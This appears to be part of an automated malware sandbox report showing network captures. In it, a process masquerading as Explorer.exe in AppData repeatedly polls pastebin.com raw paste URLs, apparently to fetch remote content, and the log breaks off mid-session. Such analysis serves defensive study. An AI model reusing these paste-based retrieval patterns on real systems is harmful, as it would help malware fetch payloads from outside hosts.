Dec 9, 2024 14:15:15.108311892 CET	443	50044	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:15.108380079 CET	50044	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:15.108460903 CET	50044	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:15.145395041 CET	50043	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:20.114696980 CET	50043	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:20.118694067 CET	50045	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:20.235224962 CET	80	50043	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:20.235332012 CET	50043	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:20.238102913 CET	80	50045	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:20.238183022 CET	50045	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:20.238331079 CET	50045	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:20.357688904 CET	80	50045	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:21.386061907 CET	80	50045	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:21.387552023 CET	50046	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:21.387594938 CET	443	50046	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:21.387650013 CET	50046	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:21.388247967 CET	50045	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:21.389034033 CET	50047	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:21.509097099 CET	80	50045	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:21.509164095 CET	50045	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:21.509226084 CET	80	50047	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:21.509293079 CET	50047	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:21.509484053 CET	50047	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:21.630194902 CET	80	50047	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:22.617626905 CET	80	50047	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:22.618943930 CET	50047	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:22.618947983 CET	50048	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:22.618993998 CET	443	50048	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:22.619354963 CET	50048	443	192.168.2.5	104.20.4.235
Dec 9, 2024 14:15:22.619381905 CET	443	50048	104.20.4.235	192.168.2.5
Dec 9, 2024 14:15:22.619429111 CET	50048	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:22.619524002 CET	50048	443	192.168.2.5	104.20.4.235
Dec 9, 2024 14:15:22.738657951 CET	80	50047	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:22.738778114 CET	50047	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:23.629765987 CET	50048	443	192.168.2.5	104.20.4.235
Dec 9, 2024 14:15:23.629848957 CET	443	50048	104.20.4.235	192.168.2.5
Dec 9, 2024 14:15:23.629957914 CET	50048	443	192.168.2.5	104.20.4.235
Dec 9, 2024 14:15:23.630141973 CET	50048	443	192.168.2.5	104.20.4.235
Dec 9, 2024 14:15:28.646928072 CET	50049	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:28.766474962 CET	80	50049	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:28.766709089 CET	50049	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:28.766935110 CET	50049	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:28.886292934 CET	80	50049	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:29.864563942 CET	80	50049	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:29.865833044 CET	50050	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:29.865869045 CET	443	50050	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:29.865921974 CET	50050	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:29.866322041 CET	50049	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:29.866986036 CET	50051	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:29.986020088 CET	80	50049	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:29.986088991 CET	50049	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:29.986196041 CET	80	50051	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:29.986253023 CET	50051	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:29.986428022 CET	50051	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:30.105758905 CET	80	50051	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:31.081731081 CET	80	50051	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:31.083360910 CET	50052	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:31.083404064 CET	443	50052	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:31.083465099 CET	50052	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:31.211859941 CET	50051	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:36.405633926 CET	50051	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:36.408586979 CET	50053	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:36.525526047 CET	80	50051	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:36.525649071 CET	50051	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:36.528170109 CET	80	50053	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:36.528470039 CET	50053	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:36.528752089 CET	50053	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:36.647977114 CET	80	50053	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:37.636913061 CET	80	50053	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:37.637427092 CET	50053	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:37.756849051 CET	80	50053	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:38.119513035 CET	80	50053	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:38.178560972 CET	50053	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:43.140171051 CET	50053	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:43.141222954 CET	50054	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:43.260829926 CET	80	50053	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:43.260901928 CET	50053	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:43.261383057 CET	80	50054	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:43.261450052 CET	50054	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:43.261617899 CET	50054	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:43.380855083 CET	80	50054	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:44.360963106 CET	80	50054	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:44.362515926 CET	50054	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:44.481884956 CET	80	50054	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:44.684132099 CET	80	50054	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:44.685547113 CET	50055	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:44.685605049 CET	443	50055	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:44.685791969 CET	50055	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:44.785852909 CET	50054	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:49.692507982 CET	50054	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:49.693284988 CET	50056	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:49.812294960 CET	80	50054	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:49.812390089 CET	50054	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:49.812571049 CET	80	50056	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:49.812642097 CET	50056	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:49.812793016 CET	50056	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:49.932132959 CET	80	50056	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:50.940239906 CET	80	50056	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:50.940969944 CET	50056	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:51.060214996 CET	80	50056	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:51.260962009 CET	80	50056	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:51.334402084 CET	50056	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:56.271415949 CET	50057	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:56.271424055 CET	50056	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:56.390942097 CET	80	50057	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:56.391160965 CET	50057	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:56.391242981 CET	50057	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:56.391253948 CET	80	50056	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:56.392513037 CET	50056	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:56.512054920 CET	80	50057	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:57.489962101 CET	80	50057	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:57.491194963 CET	50058	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:57.491241932 CET	443	50058	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:57.491302967 CET	50058	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:57.491842031 CET	50058	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:57.491851091 CET	443	50058	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:57.492746115 CET	50058	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:57.495171070 CET	50057	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:57.535336018 CET	443	50058	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:57.614613056 CET	80	50057	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:57.819231987 CET	80	50057	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:57.820337057 CET	50059	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:57.820377111 CET	443	50059	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:57.820437908 CET	50059	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:57.820727110 CET	50059	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:57.820741892 CET	443	50059	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:57.821271896 CET	50059	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:57.863338947 CET	443	50059	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:57.863773108 CET	50057	80	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:58.716339111 CET	443	50058	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:58.716445923 CET	50058	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:58.716445923 CET	50058	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:59.035445929 CET	443	50059	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:59.035567999 CET	50059	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:59.035567999 CET	50059	443	192.168.2.5	172.67.19.24
Dec 9, 2024 14:15:59.035573006 CET	443	50059	172.67.19.24	192.168.2.5
Dec 9, 2024 14:15:59.035733938 CET	50059	443	192.168.2.5	172.67.19.24

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 9, 2024 14:12:09.096935987 CET	59033	53	192.168.2.5	1.1.1.1
Dec 9, 2024 14:12:09.235047102 CET	53	59033	1.1.1.1	192.168.2.5
Dec 9, 2024 14:14:32.851089954 CET	53165	53	192.168.2.5	1.1.1.1
Dec 9, 2024 14:14:32.990483046 CET	53	53165	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 9, 2024 14:12:09.096935987 CET	192.168.2.5	1.1.1.1	0xe431	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:14:32.851089954 CET	192.168.2.5	1.1.1.1	0xc5a	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 9, 2024 14:12:09.235047102 CET	1.1.1.1	192.168.2.5	0xe431	No error (0)	pastebin.com	172.67.19.24	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:12:09.235047102 CET	1.1.1.1	192.168.2.5	0xe431	No error (0)	pastebin.com	104.20.4.235	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:12:09.235047102 CET	1.1.1.1	192.168.2.5	0xe431	No error (0)	pastebin.com	104.20.3.235	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:14:32.990483046 CET	1.1.1.1	192.168.2.5	0xc5a	No error (0)	pastebin.com	172.67.19.24	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:14:32.990483046 CET	1.1.1.1	192.168.2.5	0xc5a	No error (0)	pastebin.com	104.20.4.235	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:14:32.990483046 CET	1.1.1.1	192.168.2.5	0xc5a	No error (0)	pastebin.com	104.20.3.235	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pastebin.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:12:09.370579958 CET	74	OUT	GET /raw/hbwHfEg3 HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Dec 9, 2024 14:12:10.460917950 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:12:10 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:12:10 GMT Location: https://pastebin.com/raw/hbwHfEg3 Server: cloudflare CF-RAY: 8ef53ec85f2d7c8d-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49760	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:12:39.626308918 CET	50	OUT	GET /raw/hbwHfEg3 HTTP/1.1 Host: pastebin.com
Dec 9, 2024 14:12:40.733129025 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:12:40 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:12:40 GMT Location: https://pastebin.com/raw/hbwHfEg3 Server: cloudflare CF-RAY: 8ef53f857a254325-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49765	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:12:40.860016108 CET	74	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Dec 9, 2024 14:12:41.956856966 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:12:41 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:12:41 GMT Location: https://pastebin.com/raw/KKpnJShN Server: cloudflare CF-RAY: 8ef53f8d2b974325-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49787	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:12:48.940943956 CET	74	OUT	GET /raw/hbwHfEg3 HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Dec 9, 2024 14:12:50.116533995 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:12:49 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:12:49 GMT Location: https://pastebin.com/raw/hbwHfEg3 Server: cloudflare CF-RAY: 8ef53fbfea18433e-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49790	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:12:50.240664959 CET	74	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Dec 9, 2024 14:12:51.354226112 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:12:51 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:12:51 GMT Location: https://pastebin.com/raw/KKpnJShN Server: cloudflare CF-RAY: 8ef53fc7c90843ed-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49812	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:12:58.160624981 CET	74	OUT	GET /raw/hbwHfEg3 HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Dec 9, 2024 14:12:59.290079117 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:12:59 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:12:59 GMT Location: https://pastebin.com/raw/hbwHfEg3 Server: cloudflare CF-RAY: 8ef53ff97cc341d2-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49815	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:12:59.410897970 CET	74	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Dec 9, 2024 14:13:00.523938894 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:13:00 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:13:00 GMT Location: https://pastebin.com/raw/KKpnJShN Server: cloudflare CF-RAY: 8ef54001281572b1-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49836	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:13:07.350838900 CET	50	OUT	GET /raw/hbwHfEg3 HTTP/1.1 Host: pastebin.com
Dec 9, 2024 14:13:08.560107946 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:13:08 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:13:08 GMT Location: https://pastebin.com/raw/hbwHfEg3 Server: cloudflare CF-RAY: 8ef540336aee41a9-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49840	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:13:08.682054043 CET	74	OUT	GET /raw/KKpnJShN HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
Dec 9, 2024 14:13:09.794367075 CET	472	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 09 Dec 2024 13:13:09 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 09 Dec 2024 14:13:09 GMT Location: https://pastebin.com/raw/KKpnJShN Server: cloudflare CF-RAY: 8ef5403b2b897d16-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49861	172.67.19.24	80	7356	C:\Users\user\AppData\Roaming\Explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 14:13:16.595082998 CET	74	OUT	GET /raw/hbwHfEg3 HTTP/1.1 Host: pastebin.com Connection: Keep-Alive
